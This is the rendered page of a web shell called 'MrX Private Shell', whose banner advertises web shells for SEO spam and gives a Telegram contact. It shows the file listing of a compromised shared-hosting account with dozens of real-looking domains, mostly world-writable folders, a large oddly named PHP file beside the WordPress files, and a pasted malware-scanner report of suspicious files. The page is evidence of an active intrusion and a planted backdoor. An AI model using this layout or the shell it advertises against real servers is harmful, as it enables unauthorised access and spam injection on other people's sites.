__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
----------- SCAN REPORT ----------- TimeStamp: Thu, 20 Nov 2025 05:40:09 -0500 (/usr/sbin/cxs --background --clamdsock /var/clamd --dbreport --defapache nobody --doptions Mv --exploitscan --nofallback --filemax 50000 --noforce --html --ignore /etc/cxs/cxs.ignore.manual --options mMOLfSGchexdnwZDRru --noprobability --qoptions Mv --report /home/maindodu/scanreport-maindodu-Nov_20_2025_05h40m.txt --sizemax 1000000 --ssl --summary --sversionscan --timemax 30 --unofficial --user maindodu --virusscan --vmrssmax 2000000 --waitscan 0 --xtra /etc/cxs/cxs.xtra.manual) Scanning /home/maindodu: '/home/maindodu/.nc_plugin/hidden' # World writeable directory '/home/maindodu/bigdcustom.com/.tmb' # World writeable directory '/home/maindodu/bigdcustom.com/wp-content/plugins/wp-file-manager/lib/codemirror/mode/clike/index.html' # Suspicious file type [application/x-c] '/home/maindodu/bluelinehcs.com/.tmb' # World writeable directory '/home/maindodu/bluelinehcs.com/wp-content/plugins/wp-file-manager/lib/codemirror/mode/clike/index.html' # Suspicious file type [application/x-c] '/home/maindodu/careernews.id/wp-content/plugins/fast-indexing-api/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Curves/sect571k1.php' # Universal decode regex match = [universal decoder] '/home/maindodu/careernews.id/wp-content/plugins/fast-indexing-api/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Curves/sect571r1.php' # Universal decode regex match = [universal decoder] '/home/maindodu/careernews.id/wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/clike/index.html' # Suspicious file type [application/x-c] '/home/maindodu/careernews.id/wp-content/plugins/google-site-kit/third-party/phpseclib/phpseclib/phpseclib/Crypt/EC/Curves/sect571k1.php' # Universal decode regex match = [universal decoder] '/home/maindodu/careernews.id/wp-content/plugins/google-site-kit/third-party/phpseclib/phpseclib/phpseclib/Crypt/EC/Curves/sect571r1.php' # Universal decode regex match = [universal decoder] '/home/maindodu/cmsmaintenance.co.id/.tmb' # World writeable directory '/home/maindodu/cmsmaintenance.co.id/wp-content/plugins/wp-file-manager/lib/codemirror/mode/clike/index.html' # Suspicious file type [application/x-c] '/home/maindodu/estuary.co.id/.tmb' # World writeable directory '/home/maindodu/estuary.co.id/wp-content/plugins/wp-file-manager/lib/codemirror/mode/clike/index.html' # Suspicious file type [application/x-c] '/home/maindodu/freelancewebflowdesigners.com/.tmb' # World writeable directory '/home/maindodu/freelancewebflowdesigners.com/wp-content/plugins/wp-file-manager/lib/codemirror/mode/clike/index.html' # Suspicious file type [application/x-c] '/home/maindodu/ligasedayulink.com/wp-content/plugins/woocommerce/includes/admin/class-wc-admin-menus.php' # Universal decode regex match = [universal decoder] '/home/maindodu/ligasedayulink.com/wp-content/plugins/woocommerce/src/Internal/Admin/Settings/PaymentsController.php' # Universal decode regex match = [universal decoder] '/home/maindodu/ligasedayulink.com/wp-content/plugins/woocommerce/vendor/maxmind-db/reader/ext/maxminddb.c' # Suspicious file type [application/x-c] '/home/maindodu/ramsayhealth.co.id/.tmb' # World writeable directory '/home/maindodu/ramsayhealth.co.id/wp-content/plugins/wp-file-manager/lib/codemirror/mode/clike/index.html' # Suspicious file type [application/x-c] '/home/maindodu/topbusinesslist.net/.tmb' # World writeable directory '/home/maindodu/topbusinesslist.net/wp-content/plugins/wp-file-manager/lib/codemirror/mode/clike/index.html' # Suspicious file type [application/x-c] ----------- SCAN SUMMARY ----------- Scanned directories: 14799 Scanned files: 184033 Ignored items: 261 Suspicious matches: 23 Viruses found: 0 Fingerprint matches: 0 Data scanned: 5168.09 MB Scan peak memory: 385868 kB Scan time/item: 0.026 sec Scan time: 5204.085 sec
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| .cagefs | Folder | 0771 |
|
|
| .caldav | Folder | 0777 |
|
|
| .cl.selector | Folder | 0777 |
|
|
| .clwpos | Folder | 0777 |
|
|
| .cpanel | Folder | 0777 |
|
|
| .cphorde | Folder | 0777 |
|
|
| .htpasswds | Folder | 0777 |
|
|
| .nc_plugin | Folder | 0711 |
|
|
| .softaculous | Folder | 0711 |
|
|
| .spamassassin | Folder | 0777 |
|
|
| .subaccounts | Folder | 0777 |
|
|
| .trash | Folder | 0777 |
|
|
| bigdcustom.com | Folder | 0777 |
|
|
| bluelinehcs.com | Folder | 0777 |
|
|
| brumairefashion.com | Folder | 0777 |
|
|
| careernews.id | Folder | 0755 |
|
|
| cdn.pustakaindonesia.com | Folder | 0777 |
|
|
| chudo-udo.org | Folder | 0777 |
|
|
| cmsmaintenance.co.id | Folder | 0755 |
|
|
| eaglerockcottage.com | Folder | 0777 |
|
|
| estuary.co.id | Folder | 0755 |
|
|
| etc | Folder | 0777 |
|
|
| fm-space.com | Folder | 0777 |
|
|
| freelancewebflowdesigners.com | Folder | 0777 |
|
|
| hakim4dmacau.com | Folder | 0777 |
|
|
| healthaidportal.com | Folder | 0777 |
|
|
| hijaznaqvi.com | Folder | 0777 |
|
|
| ligasedayulink.com | Folder | 0777 |
|
|
| logs | Folder | 0777 |
|
|
| lscache | Folder | 2770 |
|
|
| Folder | 0777 |
|
||
| mainsultan.org | Folder | 0777 |
|
|
| mambocuba.com | Folder | 0777 |
|
|
| masukptn.id | Folder | 0777 |
|
|
| peakdigitize.com | Folder | 0777 |
|
|
| public_ftp | Folder | 0777 |
|
|
| public_html | Folder | 0777 |
|
|
| pustakaindonesia.com | Folder | 0777 |
|
|
| qsendersoftware.com | Folder | 0777 |
|
|
| ramsayhealth.co.id | Folder | 0777 |
|
|
| razorbackfacilities.com | Folder | 0777 |
|
|
| softaculous_backups | Folder | 0711 |
|
|
| solutionpaypal.com | Folder | 0777 |
|
|
| ssl | Folder | 0777 |
|
|
| tallahasseefencing.net | Folder | 0777 |
|
|
| thegrillatpinnacle.com | Folder | 0777 |
|
|
| tmp | Folder | 0777 |
|
|
| tomnolanband.com | Folder | 0777 |
|
|
| topbusinesslist.net | Folder | 0777 |
|
|
| topplasmacutters.com | Folder | 0777 |
|
|
| www | Folder | 0777 |
|
|
| .bash_logout | File | 18 B | 0777 |
|
| .bash_profile | File | 176 B | 0777 |
|
| .bashrc | File | 124 B | 0777 |
|
| .gemrc | File | 139 B | 0777 |
|
| .htaccess | File | 197 B | 0444 |
|
| .imunify_patch_id | File | 106 B | 0777 |
|
| .last.inodes | File | 8.47 KB | 0777 |
|
| .lastlogin | File | 579 B | 0777 |
|
| .myimunify_id | File | 102 B | 0777 |
|
| .spamassassinboxenable | File | 0 B | 0777 |
|
| .spamassassinenable | File | 0 B | 0777 |
|
| scanreport-maindodu-Nov_20_2025_05h40m.txt | File | 3.79 KB | 0644 |
|
| wp-blog-header.php | File | 2.74 KB | 0444 |
|
| wp-coreen.php | File | 1.45 MB | 0644 |
|
| wp-cron.php | File | 2.74 KB | 0644 |
|